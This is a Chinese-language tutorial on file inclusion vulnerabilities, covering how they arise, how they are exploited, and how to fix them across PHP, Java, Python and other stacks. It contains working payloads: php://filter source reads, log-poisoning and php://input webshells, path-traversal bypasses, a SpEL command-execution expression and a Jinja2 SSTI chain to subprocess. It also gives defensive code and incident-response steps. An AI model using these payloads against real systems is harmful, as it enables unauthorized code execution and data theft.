资讯动态

文件包含漏洞攻防全解析:从原理到实战利用与防御

发布时间:2026/10/19 5:34:36 来源:尧图企业网站定制
最近在审计一个老业务系统时我又一次被文件包含漏洞勾起了回忆。后台管理模块里有个下载功能前端把文件名当作参数直接丢到了后端后端拿到这个参数就往include()里塞。我随手在参数后面加了一段php://filter伪协议数据库配置文件就变成 base64 字符串平铺在页面上那一刻整个系统的源码基本等于裸奔。这篇文章想把文件包含漏洞这件事彻底聊透。重点不是让你背函数名而是把“为什么这些函数危险”“攻击者拿到这些函数之后能做什么”“不同语言又分别怎么防”讲清楚。不管你现在在做安全测试、写业务代码还是准备代码审计读完你应该都能建立一条比较完整的攻防思路。1. 文件包含漏洞不是“包含”那么简单1.1 包含机制本身没错错在“让用户决定包含谁”文件包含原本是很正常的编程手段。PHP 里有include()、require()Java 里 JSP 有静态包含和动态包含Python 里可以用open()读文件、用import导入模块。本质上都是把分散的代码或资源组合到一起方便复用。没有哪个语言设计者会在文档里写着“这个函数是给黑客用的”。问题出在“组合谁”这件事上。如果包含目标被硬编码在程序里那就没有任何风险可一旦包含目标是从请求参数、用户输入里取过来的而且没有做充分校验等于你本来要喊“按附件一执行”结果变成“按攻击者上传的附件执行”。我举个最容易理解的例子PHP 代码?php $page $_GET[page]; include($page . .php); ?本地开发环境跑起来看起来没什么问题因为开发者笃定page只会是home、about这些值。可攻击者提交?page../../../../etc/passwdinclude()就会尝试去包含系统密码文件。末尾自动加的.php也不是万能的伪协议、路径编码、或者代码本身没加后缀的情况都能绕过去。如果提交php://filter/convert.base64-encode/resourceconfiginclude()还会把文件读出来再 base64 编码输出源码直接暴露。这里要强调一下include和require的差别不在安全性上而在出错行为上。include遇到文件不存在只给警告继续执行require直接致命错误中断。两个都不安全不要以为代码里用的是include就“更安全”。1.2 本地包含与远程包含两条完全不同的路线文件包含按攻击路径分成两类。本地文件包含LFI最经典。攻击者让服务器包含自己磁盘上已有的文件比如读取配置文件、源码文件或者把日志、上传图片、临时文件变成“代码”来执行。它的利用价值在于“读文件 执行可控内容”的结合。最常见的效果就是信息泄露严重时直接 getshell。远程文件包含RFI威力更大攻击者让服务器直接包含一个外部 URL 上的恶意脚本等于把马牵进来。但 RFI 条件苛刻PHP 里要求allow_url_includeOn这个选项默认是关闭的。现代 PHP 环境里 RFI 越来越少见LFI 才是主流。不过这个概念一定要懂后面讲 Java、Python 的时候你会发现远程类加载、反序列化、模板远程渲染其实都是 RFI 思想的变种。为什么 LFI 既能读文件还能 getshell核心在于两条路如果服务器里存在攻击者能写入内容的文件日志、上传的图片、session 文件LFI 就变成 RCE如果 PHP 支持伪协议攻击者能用data://、php://input直接构造内容流那连落地文件都不用找。1.3 三个条件凑齐漏洞才会真正成立我见过很多新手在代码审计时看到include()就两眼放光其实包含函数本身不是漏洞真正凑齐下面三条才算完整攻击面参数可控。用户的输入GET、POST、Cookie、上传文件名能直接或间接进入包含函数过滤缺失或可绕过。代码里没有对路径做白名单校验、没有限制扩展名、没有对特殊字符做处理或者过滤规则本身能被编码绕过利用环境存在价值。服务器上存在敏感文件、可写文件、可控日志或者开启了伪协议、远程包含等配置。这三条组合起来才构成从“漏洞点”到“实际危害”的通路。缺任何一条漏洞利用难度都会上升一个量级。这也是为什么很多扫描器扫出来的文件包含漏洞实际上是“没法利用的假高危”因为环境根本不具备拆弹条件。注意审计时先别着急提交漏洞报告把这三条逐项验证一遍再下结论。很多低危的 LFI 就是因为利用路径不通硬被报成高危最后被开发打回来浪费双方时间。2. 哪些函数真正危险——不同语言全景盘点2.1 PHP 是重灾区include/require 全家桶加伪协议PHP 里能加载文件执行代码的函数不止include和requireinclude_once、require_once同样危险区别只是“是否去重文件加载”——这影响的是性能逻辑挡不住任何攻击。除了这四个PHP 里fopen()、file_get_contents()、readfile()这类文件读取接口在风险模型上是同一类它们不能直接执行代码但能读文件喂给下游。PHP 里真正让文件包含“封神”的是伪协议。几个我用得最多的php://filter读取任意文件源码配合 base64 编码传输不受包含代码语法报错影响php://input直接取请求体当内容执行但要求allow_url_includeOndata://把 base64 编码的 payload 放在 URL 里让include执行同样要求allow_url_includeOnphar://、zip://从归档文件内读取内容常用于触发反序列化链。除了伪协议日志包含是 LFI 转 RCE 最接地气的手段。常见的 Web 服务器比如 Apache、Nginx会把 User-Agent 原样写进访问日志你只要把 UA 改成?php system($_GET[cmd]);?然后包含这个日志文件代码就会被当 PHP 执行。前提是日志目录可读、路径可预测而且包含函数没有扩展名拼接或能绕过。我必须说一句PHP 5.3.4 以后%00截断已经不好使了很多老教程还在讲这个拿去打现在的环境会撞得一鼻子灰。现在主流的判断顺序应该是先试php://filter读文件再看目录穿越最后才考虑日志和 session 文件包含。2.2 Java 没有“include”攻击面却一点也不少Java 语言本身没有 PHP 那种动态 include 函数。JSP 里的% include %是编译期静态包含jsp:include是请求期动态包含这两者如果file属性拼接了用户输入也能造成路径穿越或包含任意 JSP 片段。但坦白讲实际业务里直接控制 JSP 包含属性的场景不多Java 系文件包含问题更多长在这些地方第一是任意文件读取。FileInputStream、Files.readAllBytes()、new FileReader()配合可控的路径参数就是典型的路径穿越导致源码或配置泄露。这类代码随处可见文件下载、图片预览、导出功能里都有。第二是模板与表达式注入。Spring 的 SpEL、Struts2 的 OGNL、Freemarker 的include指令、Thymeleaf 的 fragment 表达式都可能成为“包含并执行外部代码”的入口。尤其表达式引擎功能就是给字符串求值用户输入直接拼进去就相当于给攻击者一个解释器。第三是动态类加载。Class.forName()、URLClassLoader加载远程 jar/class或者反射调用Method.invoke()本质上是一种“远程包含代码”的 Java 版本。JNDI 注入在旧版 JDK 里能通过远程加载 class 达成 RCE也是同一个思想让程序把不可信来源的类“包含”进自己的执行空间。所以在 Java 的漏洞报告里你经常看到“任意文件读取”而不是“文件包含”底层逻辑却是同一条可控的路径、缺失的校验、有价值的目标文件。2.3 Pythoneval、exec、open 与模板引擎要分清Python 里直接对标“包含代码”的是动态执行函数eval()、exec()。前者对表达式求值并返回结果后者执行任意代码语句。区别在于eval(__import__(os).system(id))能跑exec(import os; os.system(id))也能跑但exec执行完返回 None。很多新手分不清挖洞时容易踩坑。文件读取方面open()是最基础的配合os.path.join拼接用户输入时如果没做规范化../../直接读任意文件。Python 2 里有file()、execfile()老代码里能看到存在同样的风险。真正让 Python 在这张表里占一席之地的是模板注入SSTI。Flask 的 Jinja2、Django 的模板、Tornado 的模板都存在渲染时执行表达式的机制。用户输入如果被直接拼进模板字符串而不是作为数据传入就变成了模板代码像{{config}}、{{.__class__.__mro__}}这类 payload 就能一步步摸到执行环境的边界。常见的坏代码from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) return render_template_string(Hello name)这个name参数你传一个{{7*7}}页面返回Hello 49说明双大括号里的内容被当成 Python 表达式执行了。这就是 SSTI 的起点。另外Python 的pickle.loads()反序列化本质上也等于“包含执行任意代码”因为它会调用对象里的__reduce__魔术方法。可以把它看作“序列化版的文件包含”。2.4 其他语言Node.js、Go、ASP.NET 快速对照其他语言也有类似的危险函数。Node.js 里eval()和Function()构造函数能执行字符串代码vm系列模块看起来是安全沙箱但历史上被绕过多次不能当成保险箱。Express 常用的模板引擎 ejs、pug 如果渲染时拼接了输入同样会产生模板注入。Node.js 社区常见的child_process.exec()并不是文件包含但它往往是 SSTI、原型链污染漏洞链的终点。Go 语言原生模板包text/template和html/template默认是安全的模板函数有白名单机制不会直接执行任意代码。但开发者如果用了template.HTML类型把变量标记为“可信 HTML”等于主动移除了转义风险又被接回来。Go 的os/exec执行外部命令不是包含漏洞可如果命令字符串由用户输入拼成就是命令注入跟包含导致 RCE 殊途同归。ASP.NET 这边Response.WriteFile()直接把文件内容写回响应Server.Execute()能动态执行 aspx 页面如果路径可控就存在文件包含/任意文件读取的形态。实际中更多走反序列化BinaryFormatter、LosFormatter路线它们老、危险、默认没限制。我整理了一张对照表平时查问题可以当速查手册用语言/框架典型危险入口主要利用形态关键前置条件PHPinclude、require、include_once、require_onceLFI/RFI、伪协议读取、日志包含参数可控、过滤缺失、对应配置JavaFileInputStream、JSP include、SpEL/OGNL、URLClassLoader任意文件读取、表达式执行、远程类加载路径无校验、表达式拼接、可远程加载Pythoneval、exec、open、pickle.loads、render_template_string代码执行、任意文件读、反序列化 RCE外部输入进入动态执行或模板渲染Node.jseval、Function、模板引擎渲染命令执行、SSTI输入进动态执行、模板无转义Gotext/template 拼接、template.HTML模板注入/移除了上下文转义模板函数与参数可控ASP.NETResponse.WriteFile、Server.Execute、反序列化任意文件读取、动态执行路径可控、存在反序列化入口提醒这张表是“看到这些函数就要提高警惕”不是“出现这些函数就算漏洞”。判断漏洞成立永远要回到上一章讲的那三个条件。3. 三条实战利用链从参数到代码执行3.1 PHP用伪协议读源码再靠日志拿下 shell先在本地靶场放一个最简单的包含点index.php?pagexxx。第一件事是确认存在性办法很简单在 URL 上丢一个不存在的文件名如果页面报错报错信息里能看到路径结构如果页面空白那就换php://filter试试。读文件用这个 payloadGET /index.php?pagephp://filter/convert.base64-encode/resourceconfig HTTP/1.1注意我这里故意没有加.php后缀因为很多代码会拼.php而php://filter后面再接扩展名拼接会失败所以实战中根据对方代码结构灵活调整。返回的 base64 字符串解码后就是 config.php 源码。如果allow_url_includeOn要 getshell 用php://inputPOST /index.php?pagephp://input HTTP/1.1 Content-Type: application/x-www-form-urlencoded ?php system($_GET[cmd]);?访问/index.php?pagephp://inputcmdid就能看到命令执行结果。没开伪协议的时候就用日志包含GET /index.php?page/var/log/apache2/access.log但这条路读取效果不稳定因为日志里全是正常请求和 HTML 标记直接包含会输出一堆内容还报语法错误。所以我先往日志里投毒GET /index.php HTTP/1.1 User-Agent: ?php system($_GET[c]);?这一条请求被 Web 服务器记进访问日志然后我再带参数去包含日志GET /index.php?page/var/log/apache2/access.logcid日志内容被 include 进 PHP 环境UA 里的?php system($_GET[c]);?被当成 PHP 执行cid的命令输出就出现在页面里。注意日志包含有几个坑日志文件的路径不一定一样Nginx 的 access_log 和 Apache 不同日志里的引号、尖括号可能导致 PHP 语法解析失败如果 PHP 的open_basedir限制生效包含路径会被拒绝所有../../和绝对路径全都失效。3.2 Java路径穿越读文件再到 SpEL 执行命令Java 场景先看一个常见下载功能String filename request.getParameter(file); Path path Paths.get(UPLOAD_DIR filename); byte[] data Files.readAllBytes(path);如果filename没校验file../../../../etc/passwd组装后变成UPLOAD_DIR/../../../../etc/passwd系统解析时一路向上穿越出了上传目录。在 Windows 环境还能用绝对路径file/etc/passwd或fileC:\Windows\win.ini。路径穿越绕 WAF 的常见姿势..%2f、..%5cURL 编码绕过不解析../的规则%252e%252e%252f双重编码服务器第一次解码后还有一层解码才到文件系统....//如果过滤规则把../替换成空字符串删除中间那段后还原成../。表达式注入的代表是 Spring SpEL。如果框架里有地方把用户输入拼进SpelExpressionParser做动态求值先测回显${7*7}页面返回49说明表达式引擎在执行用户代码。接下来构造命令执行 payloadT(java.lang.Runtime).getRuntime().exec(touch /tmp/pwned)T()操作符能直接引用 Java 类型。不过 SpEL 的执行结果通常没有回显要确认命令是否执行可以用反连、写文件、延时命令等旁路验证。相比之下 OGNLStruts2 的表达式语言玩法更多历史上有大量直接回显的 payload原理都是“让表达式引擎执行方法调用”。3.3 Python一条 SSTI 链路走到命令执行回到刚才的 Flask 示例render_template_string拼接了用户输入name。第一步是验证模板注入还是普通输出/?name{{7*7}}页面回Hello 49确认执行了 Python 表达式。接下来我们需要摸清上下文中“有什么对象可用”/?name{{ .__class__.__mro__ }}.__class__是字符串类型__mro__返回继承链通常我们看到的是str、object等父类。找到object的位置一般在__mro__[1]然后枚举它的所有子类/?name{{ .__class__.__mro__[1].__subclasses__() }}这一长串列表里包含了当前 Python 进程加载的所有类里面会有subprocess.Popen、os._wrap_close、warnings.catch_warnings等可用于执行命令的模块类。找到subprocess.Popen对应的索引索引会随环境变化所以需要手工数或者写脚本匹配接着构造执行/?name{{ .__class__.__mro__[1].__subclasses__()[index](id, shellTrue, stdout-1).communicate() }}当页面回显命令输出时整个链路就走通了。这里index就是你在子类列表里定位到的位置每个环境都不一样。如果模板被沙箱化了.__class__ 被过滤那就要换request.application.globals、url_for.globals这类路径找builtins。Jinja2 的沙箱并不完美很多过滤可以被attr过滤器、pop 方法等绕过。这也是为什么我一直说SSTI 的修复不能靠“多过滤几个关键字”必须从设计上把用户输入只当渲染数据来对待。提示上面所有演示我都只在本地靶场和授权测试环境里操作请务必把“未授权测试”从你的字典里删掉。4. 防御与修复把漏洞从代码层断根4.1 通用防御原则不区分语言先记住不管哪个语言防御文件包含类漏洞的顺序都应该一样。第一用白名单不用黑名单。文件包含点能包含的文件总是有限的直接在代码里枚举合法文件名远比黑名单过滤../、php://、base64可靠。黑名单永远跟不上攻击者的编码技巧白名单只需要一段映射表就完事。第二做路径规范化校验。拿到用户输入后先解析成真实路径再判断它是否落在允许目录内。比如 PHP 用realpath()、Java 用Path.normalize()、Python 用os.path.realpath()统一转成绝对路径后做前缀比较。这一招能挡住绝大多数目录穿越。第三把“执行”与“数据”隔离。用户传入的只是文件名、标识符开发负责把标识符映射成文件。代码设计上永远不要出现“拿用户输入直接拼一个文件路径再包含”的写法。第四最小化暴露。应用进程用低权限账户运行数据库配置文件的权限收紧到仅应用可读日志目录独立且不对 Web 进程可写open_basedir、容器资源限制能开就开。即使漏洞存在攻击者能拿到的东西也要越少越好。第五开启审计与日志。对文件读取、代码执行、命令执行这类危险操作打点出现异常请求时能快速定位到入口和解法。4.2 按语言给到能直接落地的修复方案PHP 修复示例把白名单做在入口处$allowed [home home.php, about about.php, contact contact.php]; $key $_GET[page] ?? ; if (!isset($allowed[$key])) { http_response_code(400); exit(Bad request); } include __DIR__ . /pages/ . $allowed[$key];再看版本配置allow_url_includeOff、display_errorsOff是 PHP 环境的基础安全项千万别为了省事打开。另外PHP 的open_basedir把可访问目录限制在 web 根目录与临时目录组合内能压缩 LFI 的读取范围。Java 修复的关键是校验和规范化String filename request.getParameter(file); Path base Paths.get(/data/uploads).toAbsolutePath().normalize(); Path target base.resolve(filename).normalize(); if (!target.startsWith(base)) { throw new SecurityException(非法路径); }这里面有两个细节resolve()前要把filename里的相对路径解析开normalize()会去掉..然后startsWith(base)判断目标是否仍在基地目录内。表达式引擎方面Spring 如果确实需要 SpEL必须关闭SpelExpressionParser的自动评估入口或者只允许在受控上下文里执行Struts2 升级到安全版本并开启严格 Ognl 配置。Python 修复模板场景改造后# 错误写法render_template_string(Hello name) # 正确写法 return render_template(index.html, namename)模板文件里用{{ name }}做插值Jinja2 会把name当字符串数据而不是模板语法解析。如果确实需要动态模板用沙箱环境from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment()至于 eval/exec能不用就不用必须用时至少对输入格式做严格限制比如ast.literal_eval()只解析字面量。反序列化优先换 JSON业务实在要用 pickle就加签名校验并且只 load 可信来源的数据。5. 漏洞排查与实战心得5.1 代码审计怎么找这些函数审计时我会先做一轮“危险函数地毯式搜索”用 IDE 的全局搜索或者 ripgrep 扫这几个关键词include、require、eval、exec、open、loads、template、classloader。然后把搜索结果按“函数调用是否接收外部变量”筛一遍。重点是看参数是否经过了过滤函数、是否做了白名单、有没有拼进路径字符串。搜到可疑点之后再从入口到出口画一条数据流用户输入从哪里进来GET/POST/Header、经过哪些变换trim、base64_decode、urldecode、最后落到哪个危险位置。很多开发者喜欢在中间加各种“消毒”操作比如删掉../、替换php://为空、加.php后缀。这些操作看着很安心实际全都能被绕过稍后我在心得里具体讲。5.2 现场被入侵后处置顺序不能乱如果已经确认生产环境被利用了我建议按这个顺序操作先确认影响面通过 WAF 日志、访问日志和审计日志找出攻击者的入口和时间线然后断网隔离把应用从负载均衡摘下来保留现场镜像以便取证接下来清理删除 WebShell、可疑文件、篡改的代码重置所有密钥和数据库口令最后才是修复代码并灰度上线。这个顺序里最容易被人跳过的环节是“保留现场”。有些同事一发现被入侵就急着删马日志也不保留结果溯源和定损完全没有依据。先镜像再清理能少走很多弯路。5.3 几个真实的坑希望你别再踩第一过滤“../”挨千刀。很多开发会把../直接 replace 成空字符串我见过的最典型的绕过是传....//因为../被删后中间的..和剩下的/拼起来又成了../。还有编码绕过%2e%2e%2f一次解码后就是../如果你的 WAF 只看原始包就会漏。第二伪协议的误判。php://filter不是所有环境都灵PHP 版本、open_basedir、disable_functions都会影响。我见过有人测试时看到php://filter被拦截就认定不存在漏洞实际上只是 WAF 拦了换data://、zip://就通了。反过来有些业务本来就要读指定配置文件页面回显 base64 不一定是漏洞要看参数是否为用户可控。第三SSTI 的“隐形利用”。Python 模板注入在测试时经常一测就知道有洞但真正要利用的时候却发现进程里没有subprocess模块可以用、网络出不了外带、回显被吞。这时不要死磕一条链去翻__globals__里的__builtins__或者考虑延时盲注、DNS 查询等旁路验证。SSTI 利用的工程量往往比发现它大得多。第四永远别信“只有内网才会被攻击”。我处理过好几起“内网系统被上传了 WebShell”的案例攻击路径要么是通过办公网横向要么是内网本身的日志包含漏洞被钓鱼进来的终端利用。内网不等于安全区危险函数的存在本身就是风险。最后分享一个我自己的习惯。审计文件包含相关代码时我会刻意先问自己一个问题“如果我是攻击者我最想从这个入口看到什么”顺着这个思路去反推代码往往能比机械地扫函数名更快发现问题。很多漏洞看起来是函数写得危险本质上是设计上缺少了对输入的边界意识。希望这篇盘点能给你提供一张清晰的地图省得再靠运气踩坑。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑